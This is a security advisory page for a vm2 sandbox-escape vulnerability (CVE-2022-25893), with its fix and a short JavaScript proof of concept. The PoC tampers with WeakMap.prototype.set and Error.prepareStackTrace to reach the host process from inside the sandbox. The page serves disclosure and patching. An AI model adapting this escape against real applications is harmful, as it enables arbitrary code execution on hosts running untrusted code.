Arbitrary Code Execution Affecting vm2 package, versions <3.9.10
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.49% (77th
percentile)
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Test your applications- Snyk ID SNYK-JS-VM2-2990237
- published 20 Dec 2022
- disclosed 24 Aug 2022
- credit Ghaem Arasteh
Introduced: 24 Aug 2022
CVE-2022-25893 Open this link in a new tabHow to fix?
Upgrade vm2 to version 3.9.10 or higher.
Overview
vm2 is a sandbox that can run untrusted code with whitelisted Node's built-in modules.
Affected versions of this package are vulnerable to Arbitrary Code Execution due to the usage of prototype lookup for the WeakMap.prototype.set method. Exploiting this vulnerability leads to access to a host object and a sandbox compromise.
PoC
const { VM } = require('vm2');
new VM().run(`
const { set } = WeakMap.prototype;
WeakMap.prototype.set = function(v) {
return set.call(this, v, v);
};
Error.prepareStackTrace =
Error.prepareStackTrace =
(_, c) => c.map(c => c.getThis()).find(a => a);
const { stack } = new Error();
Error.prepareStackTrace = undefined;
stack.process.exit(1);
`);
// Never gets executed.
console.log('Finished');
References
CVSS Scores
version 3.1